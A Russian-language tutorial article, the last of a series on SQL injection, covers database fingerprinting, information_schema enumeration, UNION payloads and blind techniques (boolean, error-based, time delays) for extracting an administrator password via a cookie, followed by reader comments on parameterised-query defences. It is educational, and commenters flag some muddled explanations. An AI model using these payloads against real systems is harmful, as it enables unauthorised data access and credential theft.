И это заключительная часть цикла статей про SQL-инъекции. В ней мы с вами узнаем, как можно собирать информацию о БД путем применения инъекций и затронем тему слепых SQL-инъекций.

При использовании SQL-инъекций часто необходимо собрать некоторую информацию о самой базе данных. Сюда входит тип и версия программного обеспечения базы данных, а также содержимое базы данных с точки зрения того, что у нее есть внутри. Это разные таблицы, колонки, и тд.

Запрос типа и версии базы данных

Различные базы данных предоставляют разные способы запроса своей версии. Часто приходится пробовать разные запросы, чтобы найти тот, который работает и позволяет определить тип и версию программного обеспечения базы данных.

Ниже приведены запросы для определения версии базы данных для некоторых популярных типов баз данных:

Microsoft, MySQL

SELECT @@version

Oracle

SELECT * FROM v$version

PostgreSQL

SELECT version()

Также при таких запросах можете использовать ключевое слово UNION:

' UNION SELECT @@version--

Узнаем ключевую информацию о БД

Большинство типов баз данных (за исключением Oracle) имеют набор представлений, называемых информационной схемой, которые предоставляют информацию о базе данных.

Вы можете запросить information_schema.tables, чтобы перечислить таблицы в базе данных:

SELECT * FROM information_schema.tables

Этот запрос вернет следующий вывод:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ================================================================

MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

Этот вывод сообщает вам, что есть 3 таблицы, которые называются Users, Products, Feedback.

Затем вы можете запросить information_schema.columns, чтобы перечислить столбцы в отдельных таблицах:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Это запрос вернет следующий вывод:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ===========================================================================

MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
union select table_name, null from inf...--
union select column_name, null from inf.. where table_name=''--

Что же, в Oracle вы можете сделать то же самое, что мы показывали выше.

Вы можете перечислить таблицы с помощью запроса all_tables:

SELECT * FROM all_tables

А перечислить столбцы можно с помощью запроса all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Слепые SQL-инъекции

Слепая SQL-инъекция возникает, когда приложение уязвимо к SQL-инъекции, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или подробностей ошибок базы данных.

При слепой SQL-инъекции многие методы, такие как UNION-атаки, неэффективны, поскольку они полагаются на возможность увидеть результаты введенного запроса в ответах приложения. Использовать слепую SQL-инъекцию для доступа к несанкционированным данным все еще возможно, но для этого необходимо использовать другие техники.

Эксплуатация слепой SQL-инъекции путем запуска условных ответов

Рассмотрим приложение, которое использует файлы cookie для сбора аналитических данных об использовании. Запросы к приложению содержат заголовок cookie следующего вида:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Когда обрабатывается запрос, содержащий куки TrackingId, приложение определяет, является ли пользователь известным, используя SQL-запрос, подобный этому:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Этот запрос уязвим для SQL-инъекции, но результаты запроса не возвращаются пользователю. Однако приложение ведет себя по-разному в зависимости от того, возвращает ли запрос какие-либо данные. Если он возвращает данные (поскольку был передан распознанный TrackingId), то на странице отображается сообщение "Добро пожаловать обратно".

Такого поведения достаточно, чтобы понять, что проходит SQL-инъекция и получить информацию, вызывая различные ответы условно, в зависимости от условия инъекции. Чтобы увидеть, как это работает, предположим, что отправлены два запроса, содержащие поочередно следующие значения куки TrackingId:

…xyz' AND '1'='1
…xyz' AND '1'='2

Первое из этих значений приведет к тому, что запрос вернет результаты, поскольку инжектированное условие AND '1'='1 истинно, и поэтому сообщение "Welcome back" будет отображено. В то время как второе значение приведет к тому, что запрос не вернет никаких результатов, поскольку инжектированное условие ложно, и сообщение "Welcome back" не будет выведено. Это позволяет нам определить ответ на любое отдельное введенное условие и таким образом извлекать данные по одному биту за раз.

Например, предположим, есть таблица Users со столбцами Username и Password и пользователь Administrator. Мы можем систематически определять пароль для этого пользователя, посылая серию входных данных для проверки пароля по одному символу за раз.

Для этого мы начнем со следующего ввода:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Мы можем продолжить этот процесс, чтобы систематически определять полный пароль для пользователя Administrator.

Как примерно у нас будет развиваться вектор атаки:

  1. TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and select trackingID from tracking table where trackingID='352jgsngoUTEb' and 1=1--

    У нас открыто поле запроса в Repeater в BurpSuite и среди заголовков есть TrackingID, туда мы и помещаем нашу инъекцию. Проверяем ответит ли нам приложение по разному при 1=1 и 1=0. Если отвечает по разному значит можем бахнуть SQL (при true отвечает к примеру 'Welcome back')

  1. дальше предполагаем, что у нас есть таблица юзеров и делаем следующий запрос

    trID = kjvsjBHBA8' and (select 'x' from users LIMIT 1) = 'x',
    где LIMIT 1 это колонка. Если true, колонка пользаков существует

  2. and (select username from users where username = 'administrator') = 'administrator'--

    Это мы проверяем наличие пользователя-админа в БД.

  3. Дальше вычисляем длину пароля

    and (select username from users where username = 'administrator' and LENGTH(password)>1) = 'administrator'--

    Бахаем sniper attack в intruder и прогоняем с 1 до 50, где изменилась длина в intruder, то это показатель того, что мы определили размер пароля

  4. Брутим пароль с атакой cluster bomb:

    and (select substring(password,1,1) from users where username = 'administrator') = 'a'--

Вызывание условных ответов путем инициирования ошибок SQL

Предшествующая техника не сработает, поскольку введение различных булевых условий никак не повлияет на ответы приложения.

В этой ситуации часто можно заставить приложение возвращать условные ответы, вызывая ошибки SQL условно, в зависимости от введенного условия. Это предполагает изменение запроса таким образом, чтобы он вызывал ошибку базы данных, если условие истинно, но не если условие ложно. Очень часто необработанная ошибка, выброшенная базой данных, вызывает некоторое различие в ответе приложения (например, сообщение об ошибке), что позволяет нам сделать вывод об истинности введенного условия.

Чтобы увидеть, как это работает, предположим, что отправлены два запроса, содержащие поочередно следующие значения куки TrackingId:

`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Слепые инъекции путем вызова временных задержек

Методы запуска временной задержки зависят от типа используемой базы данных. В Microsoft SQL Server для проверки условия и запуска задержки в зависимости от того, истинно ли выражение, можно использовать ввод, подобный следующему:

IF (1=2) WAITFOR DELAY '0:0:10'--
IF (1=1) WAITFOR DELAY '0:0:10'--

Первый из этих входов не вызовет задержку, так как условие 1=2 ложно. Второй вход вызовет задержку на 10 секунд, потому что условие 1=1 истинно.

Используя эту технику, мы можем получать данные уже описанным способом, систематически проверяя по одному символу за раз:

IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Комментарии (16)


  1. webhamster
    15.04.2023 22:20
    +3

    И это заключительная часть цикла статей про SQL-инъекции.

    И где ссылки на другие две части?


    1. FanatPHP
      15.04.2023 22:20

      Соглашусь, что упрек к оформлению статьи справедливый, ссылку желательно ставить прямо в тексте. Но если вам действительно интересно, то это один лишний клик мышкой: ник автора — вкладка "Публикации".


    1. Maxim_Q
      15.04.2023 22:20

      И где ссылки на другие две части?

      Это SQL-инъекция для читателей, вы пытаетесь найти того чего нет, инъекция сработала, вы уязвимы.

      Я пошутил. вот ссылки.

      2я: https://habr.com/ru/articles/726390/

      1я: https://habr.com/ru/articles/725134/


  1. WinLin2
    15.04.2023 22:20

    Первые части не читал. Экранирование (prepare/execute) не решает такие проблемы?


    1. FanatPHP
      15.04.2023 22:20

      Ошибся ссылкой, написал ниже


  1. FanatPHP
    15.04.2023 22:20

    Вот и зря, кстати, не читали :)
    Потому что я там как раз и пояснял в комментариях, что все эти ухищрения работают только если приложение не защищали от SQL инъекций или делали это неграмотно. И в отличие от миллиона статей про эксплуатацию инъекций, сама защита сводится к одному простому правилу.


    Только, разумеется, это не "экранирование (prepare/execute)"). Грамотно принцип защиты от инъекций формулируется так:


    SQL запрос на 100% должен состоять из элементов, напрямую прописанных в коде программы, и в него никогда не должны добавляться обрабатываемые программой данные.

    Только следование этому правилу гарантирует 100% защиту от инъекций. И "prepare/execute" (без всякого "экранирования") будет работать, только если используется для реализации озвученного выше принципа. А не в виде бездумного карго-культа, который можно встретить сплошь и рядом


    $stmt = $pdo->prepare("SELECT something FROM table WHERE username = '$name'");
    $stmt->execute();  // позор и инъекция


    1. sshikov
      15.04.2023 22:20

      в него никогда не должны добавляться обрабатываемые программой данные.

      Далеко не любая часть запроса может быть параметризована, так что бывают случаи, когда вы просто вынуждены строить запрос из данных чуть более, чем полностью. Эти случаи не такие частые, но они есть.


      1. FanatPHP
        15.04.2023 22:20

        Совершенно верно. Именно поэтому так и сформулировано, без конкретики. А более подробные рекомендации приведены ниже, где как раз и сказано, что помимо передачи данных через параметры,


        • любые другие элементы запроса (идентификаторы, ключевые слова) попадают в него только из списка вариантов, заранее прописанного в коде (про это правило часто забывают, хотя оно является не менее важным)


        1. sshikov
          15.04.2023 22:20

          списка вариантов, заранее прописанного в коде

          Это тоже несколько категорично. У меня вот имя таблицы, список колонок, и т.п. известны только в рантайме. Тем не менее, я уверен, что инъекции в моем приложении невозможны. В конце концов, SQL формальный язык, для него грамматика существует (пусть ее и не всегда просто добыть), и мы всегда можем смоделировать безопасное поведение подстановки параметров в произвольное место запроса (которое мы, как авторы кода, точно знаем). И если я подставляю имя таблицы — я знаю, что это именно имя таблицы, и вполне могу провалидировать его.


          P.S. Хотя если рассматривать это как учебный текст, то да, лучше начать с более строгих утверждений. Пусть даже чуть упрощенных.


          1. FanatPHP
            15.04.2023 22:20

            Совершенно верно. В умелых руках и экранирование работает, если применяется по назначению, а не "для защиты от инъекций".


            Но если мы говорим о передаче знаний, то желательно использовать формулировки не допускающие двойных толкований. Ибо сказано, "все, что может быть понятно неправильно, будет понято неправильно". А как только вы начнете формулировать эту валидацию, которая у вас работает, то либо получится объяснение в три этажа, либо получится неуниверсально (я слишком много повидал колонок с именами "итоговый баланс" в существующих базах, чтобы проверять по [0-9a-z_]+), либо что-то упустите. Либо пропустите такой вариант инъекции, когда клиент добавит поле, в передаваемый на сервер джейсон, имя которого пройдет валидацию, но к которому клиент не должен иметь доступа.


  1. FanatPHP
    15.04.2023 22:20

    Просуммирую свои комментарии к предыдущим частям


    • Во-первых, в подобных статьях надо обязательно разделять понятия собственно уязвимости и её эксплуатации. Потому что по факту каких-то особенных "слепых" инъекций не бывает.
      • Сама уязвимость (SQL инъекция) всегда только одна: это возможность модифицировать код SQL с помощью передаваемых в запрос данных. Если эта возможность есть — значит есть и инъекция. Даже если в статье, которую вы прочитали, нет готового рецепта для ее эксплуатации. А "слепая инъекция" — это не отдельный тип инъекций, как можно подумать из названия, а просто набор техник, эксплуатирующих ту же самую уязвимость. Просто в некотором ограниченном окружении. Частный случай, который на самом деле не стоит выделения в отдельную категорию.
      • А вот способов использовать (эксплуатировать) эту уязвимость — бесконечное множество. Важным следствием понимания этого факта является простое правило — что защищаться следует не от бесконечного количества разных вариантов эксплуатации, а от одной простой уязвимости, с помощью простой рекомендации, которая приведена в комментарии выше.
    • Во-вторых, сам по себе формат подобных статей видится мне довольно бессмысленным. По сути, они являются таким ликбезом по SQL для чайников. В котором банальные элементы SQL выдаются за сокровенные знания. "Оооо, в SQL, оказывается, есть UNION! Оооо, в SQL, оказывается, есть sleep()!".
      Фактически, умение эксплуатировать инъекции сводится к владению SQL. Эксплуатация инъекций — это на 50% знание SQL и на 50% — творчество и умение нестандартно мыслить. А совсем не зазубривание нескольких приёмчиков из статьи. Вот, кстати, совершенно гениальная история взлома: https://habr.com/ru/articles/708384/. Хотя она и не про инъекции, но хорошо показывает сам процесс.
    • В-третьих, как часто правильно пишут в комментариях, подобная статья всегда является неполной, если не предлагает способов защиты от инъекций. Причем из сказанного выше становится понятно, что для защиты знание всех этих ухищрений уже не требуется. И вот её-то как раз и можно свести "к зазубриванию пары приемчиков". Чтобы обеспечить выполнение правила "SQL запрос на 100% должен состоять из элементов, напрямую прописанных в коде программы, и в него никогда не должны добавляться обрабатываемые программой данные" достаточно двух простых действий:
      • любые данные передаются в запрос только через символы подстановки (параметры, плейсхолдеры)
      • любые другие элементы запроса (идентификаторы, ключевые слова) попадают в него только из списка вариантов, заранее прописанного в коде (про это правило часто забывают, хотя оно является не менее важным)

    Как можно видеть, в озвученных выше правилах отсутствуют такие мусорные термины, как "экранирование" и "пользовательский ввод". У которых не существует четкого определения, но которые, к сожалению, до сих пор очень часто можно встретить в рекомендациях по защите от инъекций.


    1. WinLin2
      15.04.2023 22:20
      -2

      Мои методы защиты:

      1. Подготовка запроса (prepare).

      2. Из введенного пользователем id удалять все знаки кроме цифр.

      3. При составном sql проверять список допустимых операций (swith).

      Наверно повторяюсь.


      1. FanatPHP
        15.04.2023 22:20

        Подготовка запроса (prepare).
        Из введенного пользователем id удалять все знаки кроме цифр.
        При составном sql проверять список допустимых операций (swith).

        Я вас умоляю, ну зачем было позориться и писать эту чушь?
        Я же писал выше, что само по себе использование prepare() ни от чего не защищает. А защищает использование параметров в запросе.


        Какое отношение к защите имеет удаление каких-то знаков? Без этого будет инъекция, серьёзно? Вы здесь путаете валидацию с защитой от инъекций. Валидация не имеет отношения к защите, она относится к бизнес-логике.


        "Список допустимых операций (swith)" — в принципе, это бессвязное предложение можно истолковать как использование п. 2 из моих рекомендаций, но во-первых, совершенно неясно, что имеется в виду под "составным sql", а во-вторых, switch для этого никогда не используется. В современных ЯП есть много других способов проверить, входит ли значение в список.


  1. FanatPHP
    15.04.2023 22:20

    Теперь несколько комментариев по тексту


    При слепой SQL-инъекции многие методы, такие как UNION-атаки, неэффективны

    Мягко говоря, это довольно странное заявление. Какой-то gatekeeping, "если запрос ничего не выводит, то не используйте UNION". И что мне теперь — не авторизовываться на сайте с хэшированными паролями через примитивную инъекцию с UNION? А что тогда? Подбирать, как рекомендуется в статье, хеш пароля по одной букве?


    Это хорошая иллюстрация к сказанному ранее, что эксплуатация инъекций — это не набор трюков, а творческий подход.


    где LIMIT 1 это колонка. Если true, колонка пользаков существует

    Если кто-то смог понять смысл этих двух предложений, прошу прокомментировать. Общий смысл этих телодвижений понятен, но вот пояснения, похоже, писались под веществами. Что значит "LIMIT 1 это колонка"? Почему колонка "пользаков", если речь идет явно о таблице?
    Плюс отсутствующая таблица тупо вызовет ошибку. И надо либо запрашивать из information schema, либо обрабатывать как ошибку, приемами из следующего раздела.


    Предшествующая техника не сработает, поскольку введение различных булевых условий никак не повлияет на ответы приложения.

    Надо исправить на "Предшествующая техника не сработает, если результат запроса не влияет на ответы приложения", поскольку в текущем виде предложение выглядит бессмысленным.


    `xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

    пример оторван от реальности. читатель должен сам догадаться, что на место условия 1=2 надо подставить какую-то полезную нагрузку, которая сообщает информацию о базе данных.


    То же самое касается и самого последнего примера в статье. "Ну вы там дальше сами". Зачем вообще было его приводить — загадка.


    В целом, видно что статью писал человек, который не понимает приводимых в ней примеров, что очень печально.


  1. iNickiname
    15.04.2023 22:20
    -1

    Для алфавитно-цифрового формата куки сделать фильтрацию (perl):

    $kuka =~s/[^A-Za-z0-9]//g;

    и всё.


    1. FanatPHP
      15.04.2023 22:20

      Поймите, кроме одной куки есть еще 20. Все в разных форматах. А кроме кук есть еще 100500 других входных параметров. Вам совсем больше нечего делать, кроме как валидировать каждый в соответствии со своим набором параметров? А что делать с куками у которых не алфавитно-цифровой формат?


      Вы можете себе представить программу не из 5 строчек, а примерно из 50 000? В которой на момент записи в БД система понятия не имеет, в какой переменной должны лежать "алфавитно-цифровые" данные, а в какой не должны?


      Зачем вообще сюда тащить валидацию входных данных? Она не имеет никакого отношения к защите от инъекций.


      Вы в состоянии понять, что для каждой операции должен использоваться свой инструмент?
      Для валидации данных в соотвествии с бизнес-логикой — один.
      Для защиты от SQL инъекций — совсем другой